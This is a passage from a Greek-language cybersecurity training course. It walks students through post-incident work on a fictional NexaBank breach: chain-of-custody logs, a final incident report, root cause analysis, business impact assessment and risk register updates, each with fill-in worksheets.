Παροχή ενημερώσεων καταγραφής στους ενδιαφερόμενους.

Τύπος ενημέρωσης ενδιαφερομένων (Τηλεφώνημα/Email/Αναφορά)	Ημερομηνία/Ώρα	Σημειώσεις
Λειτουργίες IT _____	_____	
Στελέχη _____	_____	
Ανθρώπινο Δυναμικό / Νομικό Τμήμα ____	_____	

6. Σημειώσεις αναλυτή

Παρατηρήσεις ελεύθερου κειμένου, προκλήσεις ή παραπομπές σε άλλα φύλλα εργασίας.

Υπενθύμιση:

- Όλα τα βήματα αποκατάστασης C πρέπει να **τεκμηριώνονται και να φέρουν χρονική σήμανση**.
- Μην επαναφέρετε ποτέ από αντίγραφα ασφαλείας πριν βεβαιωθείτε ότι είναι **καθαρά και δεν έχουν υποστεί παραβίαση**.
- Μοιραστείτε τις ενημερώσεις σχετικά με την πρόοδο τόσο με τους τεχνικούς όσο και με τους επιχειρηματικούς ενδιαφερόμενους.

4.3 Τεκμηρίωση Αλυσίδα επιτήρησης – Διατήρηση αποδεικτικών στοιχείων

Σενάριο

Έχετε περιορίσει την απειλή, εξαλείψει το κακόβουλο λογισμικό και επαναφέρει τα συστήματα. Τώρα ήρθε η ώρα να ασφαλίσετε το έργο σας.
Στον πραγματικό κόσμο της κυβερνοασφάλειας, τα αποδεικτικά στοιχεία που δεν έχουν τεκμηριωθεί σωστά μπορούν:

- Να αποδυναμώσουν την αξιοπιστία του οργανισμού σας,
- Να οδηγήσουν σε παραβιάσεις κανονισμών,
- Ή ακόμη και να οδηγήσουν στην **απόρριψη** των αποδεικτικών στοιχείων σε νομικές

διαδικασίες. Γι' αυτό **η αλυσίδα επιτήρησης (CoC)** είναι κρίσιμη.

Βήμα 1: Τι είναι η αλυσίδα επιτήρησης;

- Ένα **χρονολογικό αρχείο** καταγραφής του τρόπου συλλογής, αποθήκευσης, μεταφοράς και ανάλυσης των αποδεικτικών στοιχείων.
- Εξασφαλίζει **την ακεραιότητα** (καμία παραποίηση), **την αυθεντικότητα** (αξιόπιστη πηγή) και **τη λογοδοσία** (ποιος τα χειρίστηκε).

Βήμα 2: Αποδεικτικά στοιχεία που πρέπει να διατηρηθούν

Από αυτό το περιστατικό, τα αποδεικτικά στοιχεία μπορεί να περιλαμβάνουν:

- Αρχεία καταγραφής συστήματος (αυθεντικοποίηση, τείχος προστασίας, εξαγωγές SIEM).
- Αρχείο αποτύπωσης μνήμης.
- Εικόνα δίσκου.
- Δείγμα κακόβουλου λογισμικού (ftpclient.exe).
- Φύλλα εργασίας εγκληματολογικής ανάλυσης (αρχεία καταγραφής, μνήμη, δίσκος, κακόβουλο λογισμικό, χρονολόγιο).
- Τελική έκθεση SOC.

Βήμα 3: Καταγραφή της αλυσίδας

Κάθε αποδεικτικό στοιχείο πρέπει να περιλαμβάνει:

- **Μοναδικό αναγνωριστικό** (αριθμός υπόθεσης + αριθμός αποδεικτικού στοιχείου).
- **Περιγραφή** (τι είναι).
- **Ποιος το συνέλεξε**.
- **Ημερομηνία/ώρα συλλογής**.
- **Τιμές κατακερματισμού** για ψηφιακή ακεραιότητα.
- **Μεταφορές** (ποιος το χειρίστηκε, πότε, γιατί).

Παράδειγμα καταχώρισης:

Αριθμός υπόθεσης: 2025-IR-042

Αριθμός αποδεικτικού στοιχείου: E-003

Περιγραφή: ftpclient.exe (δείγμα κακόβουλου λογισμικού)

Συλλογή από: J. Smith, Αναλυτής SOC

Ημερομηνία/ώρα: 27/09/2025 03:20

UTC SHA-256: 91f2d5c8d...c44e92

Μεταφορά σε: Εργαστήριο Ψηφιακής Εγκληματολογίας

Ημερομηνία/Ώρα: 27/09/2025 04:05 UTC

Σκοπός: Ανάλυση σε περιβάλλον sandbox

Βήμα 4: Αρχείο καταγραφής αλυσίδας επιτήρησης (Άσκηση)

Συμπληρώστε τον παρακάτω πίνακα για την υπόθεσή σας:

Υπόθεση Αναγνωριστικό	**Αποδεικτικά στοιχεία Αναγνωριστικό**	**Περιγραφή**	**Συλλογή**	**Ημερομηνία/Ώρα**	**Hash (SHA-256) Από**	**Μεταφέρθηκε σε**	**Σημειώσεις**

Βήμα 5: Τελική τεκμηρίωση

- Επισυνάψτε **όλα τα φύλλα εργασίας** (αρχεία καταγραφής, μνήμη, δίσκος, κακόβουλο λογισμικό, χρονοδιάγραμμα, εξάλειψη, αποκατάσταση).
- Επισυνάψτε **την αναφορά συμβάντος SOC**.
- Αποθηκεύστε όλα τα αποδεικτικά στοιχεία σε ένα **ασφαλές αποθετήριο** (κρυπτογραφημένη μονάδα δίσκου ή θυρίδα αποδεικτικών στοιχείων εγκληματολογικής έρευνας).
- Βεβαιωθείτε ότι **η πρόσβαση είναι περιορισμένη** και παρακολουθείται.

Σημείο ελέγχου: Ενότητα 4.3

Πριν ολοκληρώσετε τη Φάση 4, βεβαιωθείτε ότι:

- Έχετε καταγράψει την πλήρη αλυσίδα φύλαξης για όλα τα αποδεικτικά στοιχεία.
- Έχετε επισυνάψει όλα τα φύλλα εργασίας της έρευνας.
- Αποθηκεύσατε τα αποδεικτικά στοιχεία σε ασφαλή τοποθεσία.
- Ενημερώσατε το δελτίο SOC με την τελική κατάσταση της τεκμηρίωσης.

Αρχείο αλυσίδας επιτήρησης – Αρχείο χειρισμού αποδεικτικών στοιχείων

Αριθμός υπόθεσης: _____

Τίτλος περιστατικού: _____

Όνομα αναλυτή: _____

Ημερομηνία/ώρα σύνταξης: _____

1. Πληροφορίες αποδεικτικών στοιχείων

Αριθμός αποδεικτικού στοιχείου	Περιγραφή	Πηγή (Αρχείο καταγραφής/Μνήμη/Δίσκος /Κακόβουλο λογισμικό/Άλλο)	Μορφή/Μέγεθος	Κωδικός κατακερματισμού (SHA-256)

2. Λεπτομέρειες συλλογής

Αριθμός αποδεικτικού στοιχείου	Συλλέχθηκε από (Όνομα/Ρόλος)	Ημερομηνία/ώρα συλλογής (UTC)	Τοποθεσία/Σύστημα

3. Μεταφορά υπό φύλαξη

Παρακολούθηση κάθε παράδοσης αποδεικτικών στοιχείων.

Αναγνωριστικό αποδεικτικού στοιχείου	Μεταφέρθηκε από	Μεταφέρθηκε σε	Ημερομηνία/Ώρα (UTC)	Σκοπός	Υπογραφή

4. Ασφάλεια αποθήκευσης

Αναγνωριστικό αποδεικτικού στοιχείου	Θέση αποθήκευσης		Έλεγχοι πρόσβασης
Ημερομηνία/ώρα καταγραφής	Υπογραφή		

5. Σημειώσεις αναλυτή

Χρησιμοποιήστε αυτόν τον χώρο για να διευκρινίσετε το πλαίσιο, τις ανωμαλίες ή τις ειδικές οδηγίες χειρισμού.

Υπενθύμιση για τους μαθητές:

- Κάθε ενέργεια (συλλογή, μετακίνηση, ανάλυση, αποθήκευση) πρέπει να καταγράφεται.
- Χρησιμοποιήστε **συνεπείς αναγνωριστικούς κωδικούς αποδεικτικών στοιχείων** σε όλα τα φύλλα εργασίας και στην Αναφορά Περιστατικού SOC.
- Μην διακόπτετε ποτέ την αλυσίδα φύλαξης — εάν διακοπεί, τα αποδεικτικά στοιχεία ενδέχεται να χάσουν τη νομική τους ισχύ.

4.4 Σύνταξη τελικής έκθεσης συμβάντος – Από τα αποδεικτικά στοιχεία έως την περίληψη

Σενάριο

Έχετε:

- Περιορίσατε την απειλή
- Εξαλείψατε το κακόβουλο λογισμικό και την επιμονή
- Ανακτήσατε καθαρά συστήματα
- Τεκμηριώσατε όλα τα αποδεικτικά στοιχεία με αλυσίδα επιτήρησης

Τώρα ήρθε η ώρα να **συγκεντρώσετε αυτά τα ευρήματα σε ένα ενιαίο παραδοτέο**: την *Τελική Έκθεση Περιστατικού*.

Αυτή η έκθεση θα διαβαστεί από:

- **Στελέχη** → χρειάζονται μια σαφή περίληψη του αντίκτυπου Κατάσταση C
- **Τεχνικές ομάδες** → χρειάζονται λεπτομερή στοιχεία για την παρακολούθηση
- **Τμήμα νομικής συμμόρφωσης** → χρειάζονται αποδεικτικά στοιχεία αλυσίδας επιτήρησης για ελέγχους

Βήμα 1: Σκοπός της έκθεσης

Η έκθεση πρέπει:

- Να περιγράφει την **ιστορία του συμβάντος** (από την ειδοποίηση έως την αποκατάσταση).
- Να δείχνει **τι επηρεάστηκε** και **πώς επιλύθηκε**.
- Να παρέχει **αρχείο χειρισμού αποδεικτικών στοιχείων**.
- Να προτείνει **προληπτικές βελτιώσεις**.

Βήμα 2: Δομή της αναφοράς

Ακολουθεί το προτεινόμενο περίγραμμα (με βάση το πρότυπο αναφοράς συμβάντων SOC που έχετε ήδη):

1. **Σύνοψη**

- Μη τεχνική, 1–2 παραγράφους
- Περιγραφή του συμβάντος, επιπτώσεις στην επιχείρηση, κατάσταση επίλυσης

2. **Λεπτομέρειες συμβάντος**
   - Πηγή ανίχνευσης, επηρεαζόμενα συστήματα, εμπλεκόμενοι λογαριασμοί, σοβαρότητα
3. **Αποτελέσματα έρευνας**
   - Σημαντικά γεγονότα χρονολογικού πλαισίου (συνοπτικά)
   - Δείκτες παραβίασης (IOC)
   - Συλλεγμένα αποδεικτικά στοιχεία (με αναφορά στα φύλλα εργασίας C και στο αρχείο καταγραφής φύλαξης)
4. **Ενέργειες αντιμετώπισης**
   - Βήματα περιορισμού, εξάλειψης και αποκατάστασης (με χρονικές σημάνσεις)
5. **Επιπτώσεις στην επιχείρηση**
   - Ποια δεδομένα/συστήματα επηρεάστηκαν
   - Νομικές, κανονιστικές ή ρυθμιστικές επιπτώσεις
6. **Συστάσεις**
   - Έλεγχοι ασφάλειας
   - Αλλαγές πολιτικής
   - Βελτιώσεις στην εκπαίδευση ή την παρακολούθηση
7. **Παραρτήματα (Προαιρετικά)**
   - Φύλλα εργασίας (αρχεία καταγραφής, μνήμη, δίσκος, κακόβουλο λογισμικό, χρονολόγιο)
   - Αρχείο καταγραφής αλυσίδας επιτήρησης
   - Στιγμιότυπα οθόνης ή εξαγωγές αρχείων καταγραφής

Βήμα 3: Οδηγίες σύνταξης

- **Η περίληψη πρέπει να είναι σύντομη και σαφής** (αποφύγετε την ορολογία).
- **Βασίστε τα ευρήματα αποκλειστικά σε αποδεικτικά στοιχεία** (όχι σε εικασίες).
- **Χρησιμοποιήστε χρονικές σημάνσεις με συνέπεια σε UTC.**

- **Διαχωρίστε τα γεγονότα από τις συστάσεις** (τι συνέβη έναντι του τι πρέπει να γίνει).

Βήμα 4: Μικρή άσκηση

Οι μαθητές συντάσσουν **την περίληψη** τους χρησιμοποιώντας την παρακάτω οδηγία:

«Γράψτε μια περίληψη ενός παραγράφου που περιγράφει το περιστατικό στην NexaBank, συμπεριλαμβάνοντας:

- Τη φύση της επίθεσης
- Ποια δεδομένα/συστήματα επηρεάστηκαν
- Πώς η ομάδα SOC την περιόρισε και την εξάλειψε
- Την τρέχουσα κατάσταση της αποκατάστασης.»

Βήμα 5: Παραδοτέο

- Υποβάλετε μια **Τελική Έκθεση Αντιμετώπισης Περιστατικών (4–6 σελίδες)**.
- Επισυνάψτε τα φύλλα εργασίας και την αλυσίδα επιτήρησης ως παραρτήματα.
- Σημειώστε το εισιτήριο SOC ως **Κλειστό – Υποβλήθηκε τελική έκθεση**.

Σημείο ελέγχου: Ενότητα 4.4

Πριν προχωρήσετε στη Φάση 5, βεβαιωθείτε ότι:

- Έχετε συντάξει μια τελική έκθεση συμβάντος.
- Έχετε επισυνάψει τα φύλλα εργασίας και τα αρχεία παρακολούθησης.
- Έχετε συντάξει μια σαφή περίληψη για τη διοίκηση.
- Έχετε κλείσει το ticket του SOC με την ένδειξη «Τελική έκθεση υποβλήθηκε».

Φάση 5: Ανάλυση μετά το συμβάν

5.1 Ανάλυση βασικών αιτίων – Προσδιορισμός της εκμεταλλευόμενης αδυναμίας

Σενάριο

Το περιστατικό της NexaBank έχει περιοριστεί και έχει αναφερθεί. Τώρα, η ομάδα SOC πρέπει να προσδιορίσει τη **βασική αιτία** — το υποκείμενο σημείο αδυναμίας που επέτρεψε την είσοδο του εισβολέα. Ο εντοπισμός της βασικής αιτίας είναι απαραίτητος για:

- Την πρόληψη της επανάληψης
- Την ενίσχυση των αμυντικών μηχανισμών
- Την ενημέρωση των στελεχών και των ρυθμιστικών αρχών

Βήμα 1: Εξέταση των αποδεικτικών στοιχείων

Χρησιμοποιήστε όλα τα δεδομένα που συλλέξατε (αρχεία καταγραφής, μνήμη, δίσκος, ανάλυση κακόβουλου λογισμικού, χρονολόγιο) για να εντοπίσετε *πώς* ο εισβολέας απέκτησε πρόσβαση.

Παραδείγματα στοιχείων από την παρούσα υπόθεση:

- Υπηρεσία απομακρυσμένης σύνδεσης χωρίς ενημερώσεις ασφαλείας, που εξακολουθεί να βρίσκεται σε παλαιότερη έκδοση.
- Πρόσβαση στον λογαριασμό με δικαιώματα dbadmin στις 02:41 UTC από ξένη IP.
- Δεν απαιτείται MFA (πολυπαραγοντική ταυτότητα).
- Το κακόβουλο λογισμικό (ftpclient.exe) εγκαταστάθηκε και εκτελέστηκε λίγα λεπτά μετά τη σύνδεση.

Βήμα 2: Προσδιορισμός της αδυναμίας

Πιθανές κατηγορίες βασικών αιτίων:

- **Τεχνικές** → λογισμικό χωρίς ενημερώσεις, έλλειψη antivirus, λανθασμένη διαμόρφωση του τείχους προστασίας
- **Ανθρώπινη** → phishing, αδύναμοι κωδικοί πρόσβασης, αμέλεια εσωτερικού προσωπικού
- **Πολιτική** → ξεπερασμένος έλεγχος πρόσβασης, αργοί κύκλοι ενημέρωσης, μη επιβολή MFA

Παράδειγμα για την NexaBank:

- Βασική αιτία: *Παραβίαση των διαπιστευτηρίων του λογαριασμού dbadmin (πιθανώς επαναχρησιμοποίηση ή phishing) σε συνδυασμό με την απουσία MFA και την καθυστέρηση στην εγκατάσταση ενημερώσεων για την υπηρεσία SSH.*

Βήμα 3: Τεκμηρίωση της βασικής αιτίας

Μια ισχυρή περιγραφή της βασικής αιτίας πρέπει να είναι:

- **Συγκεκριμένη** (όχι απλώς «αδύναμη ασφάλεια»)
- **Να βασίζεται σε αποδεικτικά στοιχεία** (αρχεία καταγραφής, κακόβουλο λογισμικό, χρονοδιάγραμμα)
- **Εφαρμόσιμη** (οδηγεί σε σαφή αποκατάσταση)

Παράδειγμα δήλωσης:

«Ο εισβολέας απέκτησε πρόσβαση μέσω του λογαριασμού dbadmin, ο οποίος δεν διέθετε MFA. Τα αρχεία καταγραφής υποδηλώνουν ότι τα διαπιστευτήρια παραβιάστηκαν (πιθανώς μέσω phishing). Το σύστημα χρησιμοποιούσε παλιά έκδοση του OpenSSH, γεγονός που αύξησε περαιτέρω τον κίνδυνο.»

Βήμα 4: Άσκηση – Πίνακας βασικών αιτίων

Οι μαθητές συμπληρώνουν τον πίνακα με βάση την περίπτωσή τους.

Κατηγορία Παρατηρούμενη αδυναμία		**Στοιχεία που το**
υποστηρίζουν	**Γιατί είναι εκμεταλλεύσιμο;**	Τεχνικά _____
_____	Ανθρώπινη	_____
_____	Πολιτική	_____
_____		

Βήμα 5: Παραδοτέο

- **Φύλλο εργασίας για τις βασικές αιτίες** (1–2 σελίδες) με:
    - Εντοπισμένες αδυναμίες (τεχνικές, ανθρώπινες, πολιτικές)
    - Αποδεικτικά στοιχεία που υποστηρίζουν κάθε μία
    - Τελική δήλωση βασικών αιτίων

Σημείο ελέγχου: Ενότητα 5.1

Πριν προχωρήσετε, βεβαιωθείτε ότι:

- Έχετε εξετάσει όλες τις πηγές αποδεικτικών στοιχείων.
- Έχετε εντοπίσει τουλάχιστον μία βασική αιτία (τεχνική, ανθρώπινη ή πολιτική).
- Έχετε συντάξει μια σαφή, τεκμηριωμένη δήλωση βασικής αιτίας.
- Υποβάλατε το Φύλλο Εργασίας για τη Βασική Αιτία.

Φύλλο εργασίας για την ανίχνευση των βασικών αιτίων – Ανάλυση μετά το συμβάν

Αριθμός υπόθεσης: _____

Τίτλος συμβάντος: _____

Ημερομηνία σύνταξης: _____

Όνομα αναλυτή: _____

1. Πηγές αποδεικτικών στοιχείων που εξετάστηκαν

(Αναφέρετε όλα τα αποδεικτικά στοιχεία που χρησιμοποιήθηκαν για τον προσδιορισμό της βασικής αιτίας — αρχεία καταγραφής, κακόβουλο λογισμικό, δίσκος, μνήμη, χρονολόγιο, ειδοποιήσεις SIEM.)

_____

_____

_____

2. Εντοπισμένες αδυναμίες

Αναλύστε τις τεχνικές, ανθρώπινες και πολιτικές αδυναμίες που συνέβαλαν στο περιστατικό.

Κατηγορία Παρατηρηθείσα αδυναμία Στοιχεία που τις υποστηρίζουν

Γιατί είναι εκμεταλλεύσιμο; Τεχνικά _____

Ανθρώπινα _____

Πολιτική _____

3. Δήλωση βασικής αιτίας

(Γράψτε μια συνοπτική, τεκμηριωμένη περιγραφή της κύριας αιτίας του συμβάντος.)

_____

_____

4. Συντελεστικοί παράγοντες (Προαιρετικό)

(Αναφέρετε επιπλέον ζητήματα που διευκόλυναν την επίθεση ή την έκαναν πιο καταστροφική.)

5. Σημειώσεις αναλυτή

(Οποιοδήποτε πλαίσιο, προκλήσεις ή αβεβαιότητες που αξίζει να καταγραφούν.)

Υπενθύμιση για τους μαθητές:

- Να είστε συγκεκριμένοι — αποφύγετε αόριστες αιτίες όπως «αδύναμη ασφάλεια».
- Βασική αιτία ≠ απλώς «το κακόβουλο λογισμικό» → είναι η **αδυναμία που επέτρεψε την είσοδο του κακόβουλου λογισμικού.**
- Πάντα να συνδέετε τα συμπεράσματά σας με **τα στοιχεία** της έρευνάς σας.

5.2 Ανασκόπηση επιπτώσεων στην επιχείρηση – Αξιολόγηση της ζημίας

Σενάριο

Η βασική αιτία μας λέει *πώς εισέβαλε ο εισβολέας*.
Τώρα, πρέπει να ρωτήσουμε: *Ποιος ήταν ο αντίκτυπος;*
Μια **ανασκόπηση επιχειρηματικών επιπτώσεων** μεταφράζει τις τεχνικές λεπτομέρειες σε οργανωτικές συνέπειες — κάτι κρίσιμο για τα στελέχη, τις νομικές ομάδες και τις ομάδες συμμόρφωσης.

Βήμα 1: Προσδιορίστε τι παραβιάστηκε

Ελέγξτε τα ευρήματα της έρευνάς σας (αρχεία καταγραφής, δίσκοι, κακόβουλο λογισμικό, χρονολόγιο):

- **Συστήματα που επηρεάστηκαν** → διακομιστές, τερματικά, λογαριασμοί cloud
- **Δεδομένα στα οποία έγινε πρόσβαση/διαρροή** → ευαίσθητα δεδομένα ανθρώπινου δυναμικού/πελατών, πνευματική ιδιοκτησία
- **Χρήστες που επηρεάστηκαν** → λογαριασμοί υπαλλήλων, λογαριασμοί

με δικαιώματα Παράδειγμα (υπόθεση NexaBank):

- Συστήματα: διακομιστής βάσης δεδομένων HR (srv-db-02)
- Δεδομένα: employee_data.xlsx, salaries.csv
- Χρήστες: Λογαριασμός με δικαιώματα dbadmin

Βήμα 2: Αξιολόγηση των επιχειρηματικών λειτουργιών που επηρεάστηκαν

Συνδέστε τις τεχνικές επιπτώσεις με **τις επιχειρηματικές λειτουργίες**:

- Διακοπή λειτουργίας → Διακόπηκαν οι υπηρεσίες;
- Παραγωγικότητα → Έχασαν οι υπάλληλοι την πρόσβαση;
- Επίδραση στους πελάτες → Διακινδύνευσαν οι λογαριασμοί/τα δεδομένα των πελατών;
- Κίνδυνος μη συμμόρφωσης με κανονισμούς → Υποχρεώσεις GDPR,

HIPAA, PCI-DSS; Παράδειγμα:

- Δεν υπήρξε διακοπή λειτουργίας που να επηρεάζει τους πελάτες, αλλά εκτέθηκαν ευαίσθητα **προσωπικά δεδομένα των εργαζομένων**.
- Νομικός κίνδυνος βάσει **των νόμων περί προστασίας δεδομένων** (π.χ. GDPR, νομοθεσία περί απορρήτου σε επίπεδο πολιτείας).

- Απώλεια εμπιστοσύνης των εργαζομένων και πιθανή ζημιά στη φήμη.

Βήμα 3: Εκτίμηση σοβαρότητας

Κατηγοριοποιήστε τον αντίκτυπο σε βασικές διαστάσεις:

Κατηγορία	**Επίπτωση**	**Σοβαρότητα (Χαμηλή/Μέτρια/Υψηλή)**
Εμπιστευτικότητα	Διαρροή δεδομένων HR	Υψηλή
Ακεραιότητα	Η βάση δεδομένων δεν έχει υποστεί αλλοιώσεις	Χαμηλή
Διαθεσιμότητα	Χωρίς σημαντικές διακοπές λειτουργίας	Χαμηλή
Οικονομικά	Πιθανότητα επιβολής κανονιστικών προστίμων	Μέτρια
Φήμη	Πιθανή απώλεια εμπιστοσύνης	Μεσαία

Βήμα 4: Άσκηση – Πίνακας επιπτώσεων στην επιχείρηση

Οι μαθητές συμπληρώνουν με βάση την περίπτωση.

Πτυχή	**Τι επηρεάστηκε**	**Περιγραφή επιπτώσεων**	**Σοβαρότητα**
Συστήματα	_____		
Δεδομένα	_____		
Χρήστες	_____		
Λειτουργίες	_____	Συμμόρφωση	_

_____

Βήμα 5: Παραδοτέο

- Υποβάλετε μια **περίληψη επιχειρηματικών επιπτώσεων** (2–3 σελίδες).
- Πρέπει να περιλαμβάνει:
    - Τα επηρεαζόμενα συστήματα

- Δεδομένα που έχουν διαρρεύσει/διατρέχουν κίνδυνο
- Επιπτώσεις στους χρήστες
- Λειτουργικές/κανονιστικές συνέπειες
- Αξιολόγηση σοβαρότητας

Σημείο ελέγχου: Ενότητα 5.2

Πριν προχωρήσετε, βεβαιωθείτε ότι:

- Έχετε προσδιορίσει τα επηρεαζόμενα συστήματα, δεδομένα και χρήστες.
- Συνδέσατε τις τεχνικές επιπτώσεις με τις επιχειρηματικές λειτουργίες.
- Έχετε αξιολογήσει τη σοβαρότητα (εμπιστευτικότητα, ακεραιότητα, διαθεσιμότητα, οικονομικά, φήμη).
- Υποβάλατε την Περίληψη Επιχειρηματικών Επιπτώσεων.

Φύλλο εργασίας επιχειρηματικών επιπτώσεων – Ανάλυση μετά το συμβάν

Αριθμός υπόθεσης: _____

Τίτλος συμβάντος: _____

Ημερομηνία σύνταξης: _____

Όνομα αναλυτή: _____

1. Συστήματα που επηρεάστηκαν

(Αναφέρετε τους διακομιστές, τα τερματικά, τις υπηρεσίες cloud ή τις εφαρμογές που επηρεάστηκαν.)

2. Δεδομένα που επηρεάστηκαν

(Προσδιορίστε τα ευαίσθητα αρχεία, τις βάσεις δεδομένων ή τα δεδομένα πελατών/υπαλλήλων στα οποία έγινε πρόσβαση ή τα οποία διαρρεύσαν.)

3. Επηρεαζόμενοι χρήστες

(Λογαριασμοί, τμήματα ή ομάδες χρηστών που εμπλέκονται.)

4. Επιπτώσεις στη λειτουργία

(Περιγράψτε πώς διακόπηκαν οι επιχειρηματικές δραστηριότητες — διακοπή λειτουργίας, απώλεια παραγωγικότητας, υποβάθμιση των υπηρεσιών.)

5. Επιπτώσεις στη συμμόρφωση/νομικές επιπτώσεις

(Επιλέξτε ό,τι ισχύει και περιγράψτε.)

- Κανονισμοί προστασίας δεδομένων (π.χ. GDPR, CCPA)
- Κανονισμοί χρηματοοικονομικών υπηρεσιών (π.χ. PCI-DSS, SOX)
- Κανονισμοί για την υγειονομική περίθαλψη (π.χ. HIPAA)
- Άλλα: _____

Λεπτομέρειες:

6. Αξιολόγηση σοβαρότητας επιπτώσεων

(Βαθμολογήστε κάθε κατηγορία ως Χαμηλή/Μέτρια/Υψηλή.)

Κατηγορία	Παρατηρούμενος αντίκτυπος	Σοβαρότητα (Χ/Μ/Υ)
Εμπιστευτικότητα	_____	
_____	Ακεραιότητα	_____
_____	Διαθεσιμότητα	_____
Οικονομική	_____	
Φήμη	_____	

7. Σημειώσεις αναλυτών

(Οποιοδήποτε πλαίσιο, υποθέσεις ή αβεβαιότητες.)

Υπενθύμιση για τους μαθητές:

- Να είστε συγκεκριμένοι (αναφέρετε συστήματα και δεδομένα, όχι απλώς «διακομιστή» ή «βάση δεδομένων»).
- Συνδέετε πάντα τον επιχειρηματικό αντίκτυπο με **τις λειτουργίες και τη συμμόρφωση**, όχι μόνο με την τεχνική ζημιά.
- Σκεφτείτε σαν CISO ή στέλεχος: *Πώς επηρεάζει αυτό την επιχείρηση;*

5.3 Ενημέρωση μητρώου κινδύνων – Καταγραφή νέων κινδύνων

Σενάριο

Κάθε σημαντικό περιστατικό αποκαλύπτει κινδύνους που ο οργανισμός δεν παρακολουθούσε πλήρως. Η ενημέρωση του **Μητρώου Κινδύνων** διασφαλίζει ότι αυτοί οι κίνδυνοι καταγράφονται επίσημα, ιεραρχούνται και τους ανατίθενται υπεύθυνοι — ώστε να μην παραβλεφθούν.

Βήμα 1: Επισκόπηση των ευρημάτων από την ανάλυση των βασικών αιτίων και των επιπτώσεων

Πριν προσθέσετε κινδύνους, ανατρέξτε στην προηγούμενη ανάλυση:

- Βασική αιτία (πώς εισέβαλε ο εισβολέας)
- Επιπτώσεις στην επιχείρηση (τι

επηρεάστηκε) Παράδειγμα (NexaBank):

- Αδυναμία: Απουσία MFA σε λογαριασμούς με δικαιώματα προνομιακής πρόσβασης
- Επίπτωση: Διαρροή δεδομένων του τμήματος ανθρώπινου δυναμικού
- Κίνδυνος: «Μη εξουσιοδοτημένη πρόσβαση σε ευαίσθητα συστήματα λόγω έλλειψης επιβολής MFA.»

Βήμα 2: Καθορισμός νέων κινδύνων με σαφήνεια

Κάθε καταχώριση κινδύνου πρέπει να περιλαμβάνει:

- **Περιγραφή κινδύνου**
- **Πηγή απειλής** (π.χ. εξωτερικός εισβολέας, εσωτερική απειλή)
- Εκμεταλλευόμενη **ευπάθεια**
- **Πιθανότητα** (Χαμηλή/Μέτρια/Υψηλή)
- **Επίπτωση** (Χαμηλή/Μέτρια/Υψηλή)
- **Βαθμολογία κινδύνου** (Επίπτωση × Πιθανότητα)
- **Στρατηγική μετριασμού**
- **Υπεύθυνος** (υπεύθυνη ομάδα/ρόλος)

- **Κατάσταση** (Ανοιχτό, Μετριασμένο, Αποδεκτό)

Βήμα 3: Δημιουργία δειγμάτων καταχωρήσεων

Παράδειγμα 1 – Τεχνικός κίνδυνος

- Κίνδυνος: Μη εξουσιοδοτημένη πρόσβαση σε λογαριασμούς με προνόμια λόγω έλλειψης MFA
- Πηγή απειλής: Εξωτερικός εισβολέας
- Ευπάθεια: Απουσία επιβολής MFA
- Πιθανότητα: Υψηλή
- Επίπτωση: Υψηλή
- Βαθμολογία: Κρίσιμη
- Μέτρα αντιμετώπισης: Εφαρμογή MFA σε όλους τους λογαριασμούς διαχειριστή εντός 30 ημερών
- Υπεύθυνος: Ομάδα ασφάλειας IT
- Κατάσταση: Ανοιχτό

Παράδειγμα 2 – Κίνδυνος που σχετίζεται με τον άνθρωπο/την πολιτική

- Κίνδυνος: Οι υπάλληλοι ενδέχεται να επαναχρησιμοποιούν κωδικούς πρόσβασης σε προσωπικούς και επαγγελματικούς λογαριασμούς
- Πηγή απειλής: Εξωτερικοί εισβολείς μέσω credential stuffing
- Ευπάθεια: Ανεπαρκής διαχείριση λογαριασμών, μη επιβολή εκπαίδευσης
- Πιθανότητα: Μέτρια
- Επίπτωση: Υψηλή
- Βαθμολογία: Υψηλή
- Μέτρα αντιμετώπισης: Εκπαίδευση ευαισθητοποίησης + τεχνική ανίχνευση επαναχρησιμοποίησης κωδικών πρόσβασης
- Υπεύθυνος: Ομάδα ευαισθητοποίησης σε θέματα ασφάλειας
- Κατάσταση: Σε εξέλιξη

Βήμα 4: Άσκηση – Προσθέστε τουλάχιστον δύο κινδύνους

Οι εκπαιδευόμενοι πρέπει να καταγράψουν **έναν τεχνικό** και **έναν ανθρώπινο/πολιτικό** κίνδυνο που εντοπίστηκε κατά τη διάρκεια του συμβάντος.

Πεδίο	**Κίνδυνος 1 (Τεχνικός)**	**Κίνδυνος 2 (Ανθρώπινος/Πολιτική)**
Περιγραφή κινδύνου		
Πηγή απειλής		
Ευπάθεια		
Πιθανότητα		
Αντίκτυπος		
Βαθμολογία κινδύνου		
Στρατηγική μετριασμού		
Ιδιοκτήτης		
Κατάσταση		

Βήμα 5: Παραδοτέο

- Υποβάλετε ένα **ενημερωμένο φύλλο εργασίας μητρώου κινδύνων** με τουλάχιστον **2–3 νέες καταχωρήσεις** που συνδέονται άμεσα με το συμβάν.
- Αυτό το παραδοτέο προσομοιώνει τον τρόπο με τον οποίο οι κίνδυνοι ενσωματώνονται στις τρέχουσες διαδικασίες διαχείρισης κινδύνων.

Σημείο ελέγχου: Ενότητα 5.3

Πριν προχωρήσετε, βεβαιωθείτε ότι:

- Έχετε εξετάσει τα ευρήματα σχετικά με τις βασικές αιτίες και τις επιπτώσεις.
- Έχετε εντοπίσει τουλάχιστον έναν τεχνικό και έναν ανθρώπινο/πολιτικό κίνδυνο.
- Τους προσθέσατε στο Μητρώο Κινδύνων συμπληρώνοντας όλα τα πεδία.
- Υποβάλατε το ενημερωμένο μητρώο.

Ενημέρωση Μητρώου Κινδύνων – Μετά το συμβάν

Αριθμός υπόθεσης: _____

Τίτλος συμβάντος: _____

Ημερομηνία σύνταξης: _____

Όνομα αναλυτή: _____

1. Νέες καταχωρήσεις κινδύνου

(Προσθέστε τουλάχιστον **2 κινδύνους** που εντοπίστηκαν από αυτό το περιστατικό — έναν τεχνικό και έναν ανθρώπινο/πολιτικό.)

Πεδίο	Καταχώριση κινδύνου 1	Καταχώριση κινδύνου 2
Περιγραφή κινδύνου	_____	_____
Επηρεαζόμενο περιουσιακό στοιχείο	_____	_____
Πηγή απειλής	_____	_____
Εκμετάλλευση ευπάθειας	_____	_____
Πιθανότητα (Χαμηλή/Μεσαία/Υψηλή)	_____	_____
Επίπτωση (Χ/Μ/Υ)	_____	_____
Βαθμολογία κινδύνου (Επίπτωση × Πιθανότητα)	_____	_____
Στρατηγική μετριασμού	_____	_____
Υπεύθυνος κινδύνου (Ομάδα/Ρόλος)	_____	_____

Κατάσταση (Ανοιχτό/Μετριασμένο/Αποδεκτό) _____

2. Σημειώσεις και αιτιολόγηση

(Εξηγήστε γιατί προστέθηκαν αυτοί οι κίνδυνοι και πώς συνδέονται με το συμβάν.)

_____

_____

